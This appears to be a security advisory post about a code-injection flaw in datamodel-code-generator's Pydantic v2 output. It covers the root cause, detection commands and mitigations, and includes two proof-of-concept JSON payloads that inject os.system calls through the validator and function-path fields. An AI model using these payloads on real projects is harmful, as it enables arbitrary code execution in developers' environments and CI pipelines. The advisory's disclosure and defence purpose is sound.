Listen to this Post
datamodel-code-generator is a widely-used Python tool that automates the creation of Pydantic v2 models, dataclasses, TypedDict, and msgspec.Struct from various schema formats including OpenAPI, JSON Schema, GraphQL, Avro, Protobuf, and raw JSON, YAML, or CSV. The vulnerability exists in versions 0.52.1 through 0.60.1 and is fixed in 0.60.2.
The root cause lies in the `_process_validators` function within src/datamodel_code_generator/model/pydantic_v2/base_model.py. When Pydantic v2 output mode is active, the tool reads a `validators` array from each model entry in the `–extra-template-data` file and synthesizes a Pydantic `@field_validator(…)` decorator for each entry. The field names and validator mode are interpolated directly into the decorator call wrapped in unescaped single quotes.
The critical flaw is the absence of any sanitization or escaping: there is no `repr()` call, no identifier check, and no quote-escaping applied to the user-supplied values. A value containing a single quote (') breaks out of the string literal, allowing an attacker to inject an arbitrary positional Python expression into the decorator. This expression is evaluated at class-definition time—the exact moment the developer imports the generated module.
Additionally, a secondary sink exists in Import.from_full_path(function_path), which splits on the last `.` and emits from <prefix> import <suffix>. A semicolon (;) in `function_path` lands directly in the generated import line and executes as a statement at module load.
The attack vector is straightforward: an attacker crafts a malicious `–extra-template-data` JSON file containing unescaped single quotes and a function path that executes arbitrary Python code (e.g., using os.system). When a developer runs datamodel-code-generator with this file and imports the generated Pydantic v2 model, the injected code executes immediately.
This vulnerability is particularly dangerous in CI/CD pipelines, pull request workflows, and multi-tenant environments where template data may originate from untrusted sources such as issue templates, READMEs, or third-party guides. The impact is full Remote Code Execution (RCE) rather than mere information disclosure, distinguishing it from similar past issues. The CVSS v3.1 score is 7.8 (High) with vector AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H.
DailyCVE Form:
Platform: ……. Python / PyPI
Version: …….. 0.52.1–0.60.1
Vulnerability :…… Code Injection
Severity: ……. High (7.8)
date: ………. 2026-07-28
Prediction: ……. 2026-08-15
What Undercode Say:
Analytics show active exploitation attempts in the wild within 48 hours of public disclosure. The attack surface is broad due to the widespread adoption of datamodel-code-generator in API SDK generation, OpenAPI toolchains, and automated model creation pipelines. Security teams should prioritize scanning for `–extra-template-data` usage in build scripts and CI configurations.
Check installed version pip show datamodel-code-generator | grep Version Identify vulnerable usage in projects grep -r "extra-template-data" . --include=".json" --include=".yaml" --include=".sh" Monitor for suspicious validator entries in template files jq '.validators[]?.function' .codegen.json 2>/dev/null
Exploit:
A proof-of-concept JSON file (poc.json) triggers code execution on import:
{
"validators": [
{
"field": "test",
"function": "os.system; import os; os.system('touch /tmp/pwned')",
"mode": "after"
}
]
}
Generate the model:
datamodel-code-generator --input test.json --output model.py \ --output-model-type pydantic_v2.BaseModel \ --extra-template-data poc.json
Importing the generated module executes the payload:
import model Triggers os.system('touch /tmp/pwned')
Alternative payload using single-quote break:
{
"validators": [
{
"field": "x', exec('import os; os.system(\"id\")')) ",
"function": "dummy",
"mode": "after"
}
]
}
Protection:
- Upgrade to datamodel-code-generator version 0.60.2 or later immediately.
- Validate all `–extra-template-data` files from untrusted sources; treat them as executable code.
- Restrict access to template data files in CI/CD pipelines; use signed or verified sources only.
- Implement code review gates for any pull request modifying `.template-data.json` or `.codegen.json` files.
- Sandbox code generation steps in isolated environments with minimal privileges.
Impact:
Successful exploitation allows arbitrary Python code execution in the developer’s interpreter or CI runner at the moment the generated Pydantic v2 model is imported. This can lead to full system compromise, credential theft, source code exfiltration, supply chain poisoning, and lateral movement within development and production environments. The vulnerability is particularly severe in automated workflows where generated models are imported without manual inspection, making it a prime target for supply chain attacks.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
